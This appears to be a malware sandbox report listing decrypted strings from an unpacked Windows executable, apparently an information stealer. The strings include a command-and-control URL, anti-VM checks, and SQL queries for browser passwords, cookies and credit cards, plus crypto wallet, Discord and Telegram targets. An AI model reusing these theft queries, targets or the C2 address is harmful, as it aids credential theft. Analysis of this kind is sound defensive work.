Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetUserNameA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CreateDCA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetDeviceCaps
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: ReleaseDC
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sscanf
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: VMwareVMware
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: HAL9TH
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: JohnDoe
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: DISPLAY
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: http://185.215.113.206
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: stok
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetFileAttributesA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: HeapFree
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetFileSize
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GlobalSize
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: IsWow64Process
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Process32Next
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetLocalTime
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: FreeLibrary
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetVolumeInformationA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Process32First
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetLocaleInfoA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetModuleFileNameA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: DeleteFileA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: FindNextFileA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: LocalFree
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: FindClose
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: LocalAlloc
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetFileSizeEx
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: ReadFile
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SetFilePointer
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: WriteFile
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CreateFileA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: FindFirstFileA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CopyFileA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: VirtualProtect
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetLastError
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: lstrcpynA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: MultiByteToWideChar
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GlobalFree
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: WideCharToMultiByte
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GlobalAlloc
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: OpenProcess
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: TerminateProcess
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetCurrentProcessId
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: gdiplus.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: ole32.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: bcrypt.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: wininet.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: shlwapi.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: shell32.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: rstrtmgr.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SelectObject
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: BitBlt
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: DeleteObject
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CreateCompatibleDC
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GdiplusStartup
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GdiplusShutdown
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GdipDisposeImage
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GdipFree
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CoUninitialize
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CoInitialize
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CoCreateInstance
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: BCryptDecrypt
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: BCryptSetProperty
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: BCryptDestroyKey
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetWindowRect
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetDesktopWindow
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetDC
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CloseWindow
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: wsprintfA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CharToOemW
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: wsprintfW
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RegQueryValueExA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RegEnumKeyExA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RegOpenKeyExA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RegCloseKey
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RegEnumValueA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CryptUnprotectData
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SHGetFolderPathA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: ShellExecuteExA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: InternetOpenUrlA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: InternetConnectA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: InternetCloseHandle
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: HttpSendRequestA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: HttpOpenRequestA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: InternetReadFile
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: InternetCrackUrlA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: StrCmpCA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: StrStrA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: StrCmpCW
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: PathMatchSpecA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RmStartSession
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RmRegisterResources
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RmGetList
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: RmEndSession
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3_open
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3_step
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3_column_text
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3_finalize
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3_close
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: sqlite3_column_blob
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: encrypted_key
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: PATH
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: NSS_Init
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: NSS_Shutdown
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: PK11_FreeSlot
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: PK11_Authenticate
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: C:\ProgramData\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: browser:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: profile:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: url:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: login:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: password:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Opera
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: OperaGX
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Network
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: cookies
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: .txt
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: TRUE
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: FALSE
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: autofill
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: history
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: cc
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: name:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: month:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: year:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: card:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Cookies
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Login Data
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Web Data
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: History
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: logins.json
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: formSubmitURL
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: usernameField
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: encryptedUsername
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: encryptedPassword
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: guid
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: cookies.sqlite
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: formhistory.sqlite
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: places.sqlite
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: plugins
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Local Extension Settings
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Sync Extension Settings
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: IndexedDB
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Opera Stable
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Opera GX Stable
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CURRENT
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: chrome-extension_
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Local State
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: profiles.ini
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: chrome
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: opera
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: firefox
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: wallets
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: ProductName
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: x32
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: x64
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: DisplayName
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: DisplayVersion
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Network Info:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - IP: IP?
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Country: ISO?
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: System Summary:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - HWID:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - OS:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Architecture:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - UserName:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Computer Name:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Local Time:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - UTC:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Language:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Keyboards:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Laptop:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Running Path:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - CPU:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Threads:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Cores:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - RAM:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - Display Resolution:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: - GPU:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: User Agents:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Installed Apps:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: All Users:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Current User:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Process List:
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: system_info.txt
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: freebl3.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: mozglue.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: msvcp140.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: nss3.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: softokn3.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: vcruntime140.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \Temp\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: .exe
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: runas
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: open
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: /c start
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %DESKTOP%
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %APPDATA%
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %USERPROFILE%
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %DOCUMENTS%
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: %RECENT%
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: *.lnk
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: files
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \discord\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: \Telegram Desktop\
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: key_datas
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: map*
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Telegram
